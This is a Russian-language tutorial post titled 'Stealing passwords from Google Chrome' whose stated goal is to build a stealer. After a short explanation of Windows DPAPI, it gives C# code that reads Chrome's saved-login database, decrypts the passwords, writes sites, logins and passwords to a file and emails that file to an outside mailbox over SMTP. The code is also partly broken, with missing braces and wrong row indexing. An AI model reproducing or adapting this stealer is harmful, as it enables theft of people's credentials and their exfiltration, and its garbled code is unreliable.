Воруем пароли из Google Chrome

Воруем пароли из Google Chrome

@Berlooga

Задача: Написать свой стиллер, который будет расшифровывать пароли GoogleChrome и отсылать на почту. 

Для начала поговорим о DPAPI(Data Protection Application Programming Interface) – Майкрософт, как и многие компании столкнулась с проблемой шифрования данных, которые могут быть расшифрованы только на стороне клиента. В итоге был создан алгоритм на основе мастер – ключа. 


Мастер – ключ - это комбинация следующих элементов: 

SID — уникальный идентификатор безопасности. 

HMAC (сокращение от англ. hash-based message authentication code, хеш-код идентификации сообщений). 

PBKDF2 – Password-Based Key Derivation Function. Стандарт формирования ключа на основе пароля. Использует псевдослучайную функцию для получения ключей. 

MasterKey BLOB — это как раз данные с зашифрованным ключом. 

Подробнее почитать тут https://habrahabr.ru/post/148602/ 


Отсюда следует главный вывод, что расшифровать пароли хрома можно только там где они были созданы. 

Давайте напишем такой стиллер. 


Установим SQLLITE уже известным нам менеджером установки пакетов и добавим следующий код: 


string fileDb = @"C:/Users/Adminka/AppData/Local/Google/Chrome/User Data/Default/Login Data"; // Путь к логин данным 

string connectionString = $"Data Source = {fileDb}"; 

string fileName = @"C:/Temp/output.txt"; // Выходной файл с паролями 

StreamWriter sw = new StreamWriter(fileName, false, Encoding.UTF8); 

string dbWay = "Login Data"; 

string db_fields = "logins"; // база паролей SQLITE 

byte[] entropy = null; 

string description; 


DataTable db = new DataTable(); 

string sql = $"SELECT * FROM {db_fields}"; 

using (SQLiteConnection connection = new SQLiteConnection(connectionString)) 

SQLiteCommand command = new SQLiteCommand(sql, connection); 

SQLiteDataAdapter adapter = new SQLiteDataAdapter(command); 

adapter.Fill(db); 


int rows = db.Rows.Count; 

Console.WriteLine($"Всего записей: {rows}"); 


for (int i = 0; i < rows; i++) 

string url = db.Rows[1].ToString(); 

string login = db.Rows[3].ToString(); 

byte[] byteArray = (byte[])db.Rows[5]; 

byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description); 

string password = new UTF8Encoding(true).GetString(decrypted); 

sw.WriteLine("----------------------------"); 

sw.WriteLine($"Номер: {i}"); 

sw.WriteLine($"Сайт: {url}"); 

sw.WriteLine($"Логин: {login}"); 

sw.WriteLine($"Пароль: {password}"); 

sw.Close(); 


MailSend.SendMail("smtp.mail.ru", "YourEmail@mail.ru", "password", "YandexMail3@ya.ru", "Пароли", fileName, fileName); 

Console.ReadKey(); 


Код класса DPAPI Взят отсюда http://www.obviex.com/samples/dpapi.aspx




Report Page